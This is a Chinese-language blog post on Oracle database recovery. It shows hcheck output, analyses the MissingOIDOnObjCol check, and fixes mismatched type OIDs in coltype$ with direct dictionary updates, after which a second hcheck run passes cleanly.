TabProp=539101190

OBJ#=13273 Name=SYS.AQ_EVENT_TABLE IntCol#=25=USER_DATA TabProp=539363346

OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLE IntCol#=20=USER_DATA TabProp=

OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_F IntCol#=24=USER_DATA TabProp=

OBJ#=13285 Name=SYS.AQ_PROP_TABLE IntCol#=28=USER_DATA TabProp=539101186

OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TAB IntCol#=28=USER_DATA

TabProp=539101186

.- SourceNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS

.- OversizedFiles ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- PoorStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- MissingSum$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- MissingDir$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- DuplicateDataobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- ObjSynMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- ObjSeqMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedUndo ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedIndex ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedTable ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- MissingPartCol ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- FetUet ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- Uet0Check ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- SeglessUET ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadInd$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadTab$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- ObjIndDobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- ObjType0 ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadOwner ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadPublicObjects ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadSegFreelist ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- BadDepends ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS

.- CheckDual ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- ObjectNames ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- BadCboHiLo ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- ChkIotTs ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- NoSegmentIndex ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- BadNextObject ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- DroppedROTS ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- FilBlkZero ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- OrphanedObjError ... 1102000400 > 1102000000 02/14 22:49:55 PASS

.- ObjNotLob ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- MaxControlfSeq ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- SegNotInDeferredStg ... 1102000400 > 1102000000 02/14 22:49:55 PASS

.- SystemNotRfile1 ... 1102000400 > 902000000 02/14 22:49:55 PASS

.- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- OrphanTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

.- ObjNotTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS

---------------------------------------

14-FEB-2019 22:49:55 Elapsed: 2 secs

---------------------------------------

Found 11 potential problem(s) and 0 warning(s)

Contact Oracle Support with the output and trace file

to check if the above needs attention or not

PL/SQL procedure successfully completed.

Statement processed.

Complete output is in trace file:

/u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_ora_1808_HCHECK.trc

发现了11处问题，都是HCKE-0002: Object type column with missing OID$。这是什么意思呢？
分析hcheck脚本的MissingOIDOnObjCol存储过程：

Procedure MissingOIDOnObjCol
(nF      In Number  Default 0,
VerChk  In Number  Default 5,
Verbose In Boolean Default FALSE)
Is
nFr  Number ;
Cursor sCur1 Is
Select o.obj# , o.type#, o.owner#, o.name, c.col#, c.intcol#,
c.name cname, t.property
From   obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t
Where  o.obj#     = ct.obj#
And    ct.obj#    = c.obj#
And    ct.col#    = c.col#
And    ct.intcol# = c.intcol#
And    oi.oid$(+) = ct.toid
And    o.obj#     = t.obj#(+)
And    oi.oid$ is null;
ps1  Varchar2(10) := 'HCKE-0002';
ps1a Varchar2(65) := 'Object type column with missing OID
ps1n Varchar2(40) := '(Doc ID 1360268.1)';
CursorRun Boolean := FALSE;
Begin
If ( nF = 0) Then
nFr := FindFname('MissingOIDOnObjCol') ; Else nFr := nF;
End If ;
If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return; End If;
For c1 In sCur1 Loop
If (not CursorRun) Then
report_failure('FAIL',ps1,ps1a,ps1n,CursorRun);
End If;
put_line(' OBJ#='||c1.obj#||' Name='||Owner(c1.owner#)||'.'
||c1.name||' IntCol#='||c1.intcol#||'='||c1.cname
||' TabProp='||c1.property);
Fatal := Fatal + 1 ;
End Loop ;
If (CursorRun) Then put(chr(10)) ; else put_line('PASS'); End If ;
End ;

Procedure MissingOIDOnObjCol

(nF In Number Default 0,

VerChk In Number Default 5,

Verbose In Boolean Default FALSE)

nFr Number ;

Cursor sCur1 Is

Select o.obj# , o.type#, o.owner#, o.name, c.col#, c.intcol#,

c.name cname, t.property

From obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t

Where o.obj# = ct.obj#

And ct.obj# = c.obj#

And ct.col# = c.col#

And ct.intcol# = c.intcol#

And oi.oid$(+) = ct.toid

And o.obj# = t.obj#(+)

And oi.oid$ is null;

ps1 Varchar2(10) := 'HCKE-0002';

ps1a Varchar2(65) := 'Object type column with missing OID

ps1n Varchar2(40) := '(Doc ID 1360268.1)';

CursorRun Boolean := FALSE;

Begin

If ( nF = 0) Then

nFr := FindFname('MissingOIDOnObjCol') ; Else nFr := nF;

End If ;

If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return; End If;

For c1 In sCur1 Loop

If (not CursorRun) Then

report_failure('FAIL',ps1,ps1a,ps1n,CursorRun);

End If;

put_line(' OBJ#='||c1.obj#||' Name='||Owner(c1.owner#)||'.'

||c1.name||' IntCol#='||c1.intcol#||'='||c1.cname

||' TabProp='||c1.property);

Fatal := Fatal + 1 ;

End Loop ;

If (CursorRun) Then put(chr(10)) ; else put_line('PASS'); End If ;

End ;

仔细对脚本进行分析，推测是当表的字段类型为type类型的对象时，coltype$的toid和oid$的oid$不匹配导致的，应该是之前为了open数据库替换块的时候造成的。
以OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析：
由于数据字典不一致，该表是不可以正常访问：

SQL&gt; desc SYS.AQ$SCHEDULER$_EVENT_QTAB
ERROR:
ORA-00600: internal error code, arguments: [16687], [12946], [20], [], [], [], [], [], [], [], [], []
SQL&gt; select * from SYS.AQ$SCHEDULER$_EVENT_QTAB;
select * from SYS.AQ$SCHEDULER$_EVENT_QTAB
*
ERROR at line 1:
ORA-21700: object does not exist or is marked for delete

SQL> desc SYS.AQ$SCHEDULER$_EVENT_QTAB

ERROR:

ORA-00600: internal error code, arguments: [16687], [12946], [20], [], [], [], [], [], [], [], [], []

SQL> select * from SYS.AQ$SCHEDULER$_EVENT_QTAB;

select * from SYS.AQ$SCHEDULER$_EVENT_QTAB

ERROR at line 1:

ORA-21700: object does not exist or is marked for delete

对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO，通过下面的查询可以发现确实不匹配(以oid$的为准，因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表)：

SQL&gt; select oid$ from oid$ where obj# in (select obj# from obj$ where name='SCHEDULER$_EVENT_INFO');
OID$
--------------------------------
7BB17EE961D00845E0536438A8C00848
SQL&gt; select toid from coltype$ where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
TOID
--------------------------------
81673B4EDDF5111FE0536438A8C02F5D
通过下面的查询也可以推出以oid$的为准
SQL&gt; select toid from type$ where toid in ('7BB17EE961D00845E0536438A8C00848','81673B4EDDF5111FE0536438A8C02F5D');
TOID
--------------------------------
7BB17EE961D00845E0536438A8C00848

SQL> select oid$ from oid$ where obj# in (select obj# from obj$ where name='SCHEDULER$_EVENT_INFO');

OID$

--------------------------------

7BB17EE961D00845E0536438A8C00848

SQL> select toid from coltype$ where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;

TOID

--------------------------------

81673B4EDDF5111FE0536438A8C02F5D

通过下面的查询也可以推出以oid$的为准

SQL> select toid from type$ where toid in ('7BB17EE961D00845E0536438A8C00848','81673B4EDDF5111FE0536438A8C02F5D');

TOID

--------------------------------

7BB17EE961D00845E0536438A8C00848

修改coltype$后恢复正常：

SQL&gt; update coltype$ set toid='7BB17EE961D00845E0536438A8C00848' where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
1 row updated.
SQL&gt; commit;
Commit complete.
SQL&gt; @flc
System altered.
System altered.
SQL&gt; select * from AQ$SCHEDULER$_EVENT_QTAB;
no rows selected

SQL> update coltype$ set toid='7BB17EE961D00845E0536438A8C00848' where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;

1 row updated.

SQL> commit;

Commit complete.

SQL> @flc

System altered.

SQL> select * from AQ$SCHEDULER$_EVENT_QTAB;

no rows selected

逐一修改后，再次执行hcheck：

SQL&gt; @hcheck
HCheck Version 07MAY18 on 15-FEB-2019 01:56:00
----------------------------------------------
Catalog Version 11.2.0.4.0 (1102000400)
db_name: LXY
Catalog       Fixed
Procedure Name                     Version    Vs Release    Timestamp      Result
------------------------------ ... ---------- -- ---------- -------------- ------
.- LobNotInObj                 ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- MissingOIDOnObjCol          ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- SourceNotInObj              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OversizedFiles              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- PoorDefaultStorage          ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- PoorStorage                 ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- TabPartCountMismatch        ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTabComPart          ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- MissingSum$                 ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- MissingDir$                 ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- DuplicateDataobj            ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- ObjSynMissing               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- ObjSeqMissing               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedUndo                ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndex               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndexPartition      ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndexSubPartition   ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTable               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTablePartition      ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTableSubPartition   ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- MissingPartCol              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedSeg$                ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndPartObj#         ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- DuplicateBlockUse           ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- FetUet                      ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- Uet0Check                   ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- SeglessUET                  ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadInd$                     ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadTab$                     ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadIcolDepCnt               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- ObjIndDobj                  ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- TrgAfterUpgrade             ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- ObjType0                    ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadOwner                    ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- StmtAuditOnCommit           ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadPublicObjects            ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadSegFreelist              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadDepends                  ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- CheckDual                   ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- ObjectNames                 ... 1102000400 &lt;=  *All Rel* 02/15 01:56:00 PASS
.- BadCboHiLo                  ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- ChkIotTs                    ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- NoSegmentIndex              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- BadNextObject               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- DroppedROTS                 ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- FilBlkZero                  ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- DbmsSchemaCopy              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- OrphanedObjError            ... 1102000400 &gt;  1102000000 02/15 01:56:01 PASS
.- ObjNotLob                   ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- MaxControlfSeq              ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- SegNotInDeferredStg         ... 1102000400 &gt;  1102000000 02/15 01:56:01 PASS
.- SystemNotRfile1             ... 1102000400 &gt;   902000000 02/15 01:56:01 PASS
.- DictOwnNonDefaultSYSTEM     ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- OrphanTrigger               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
.- ObjNotTrigger               ... 1102000400 &lt;=  *All Rel* 02/15 01:56:01 PASS
---------------------------------------
15-FEB-2019 01:56:01  Elapsed: 1 secs
---------------------------------------
Found 0 potential problem(s) and 0 warning(s)
PL/SQL procedure successfully completed.
Statement processed.

SQL> @hcheck

HCheck Version 07MAY18 on 15-FEB-2019 01:56:00

----------------------------------------------

Catalog Version 11.2.0.4.0 (1102000400)

db_name: LXY

Catalog Fixed

Procedure Name Version Vs Release Timestamp Result

------------------------------ ... ---------- -- ---------- -------------- ------

.- LobNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- SourceNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OversizedFiles ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- PoorStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- MissingSum$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- MissingDir$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- DuplicateDataobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- ObjSynMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- ObjSeqMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedUndo ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedIndex ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedTable ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- MissingPartCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- FetUet ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- Uet0Check ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- SeglessUET ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadInd$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadTab$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- ObjIndDobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- ObjType0 ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadOwner ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadPublicObjects ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadSegFreelist ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadDepends ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- CheckDual ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- ObjectNames ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS

.- BadCboHiLo ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- ChkIotTs ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- NoSegmentIndex ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- BadNextObject ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- DroppedROTS ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- FilBlkZero ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- OrphanedObjError ... 1102000400 > 1102000000 02/15 01:56:01 PASS

.- ObjNotLob ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- MaxControlfSeq ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- SegNotInDeferredStg ... 1102000400 > 1102000000 02/15 01:56:01 PASS

.- SystemNotRfile1 ... 1102000400 > 902000000 02/15 01:56:01 PASS

.- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- OrphanTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

.- ObjNotTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS

---------------------------------------

15-FEB-2019 01:56:01 Elapsed: 1 secs

---------------------------------------

Found 0 potential problem(s) and 0 warning(s)

PL/SQL procedure successfully completed.

Statement processed.

至此整个数据库比较完整的恢复完毕。

发表回复取消回复

近期文章

近期评论

案例：ora-00600[16703]比特币攻击

发表回复 取消回复

近期文章

近期评论

发表回复取消回复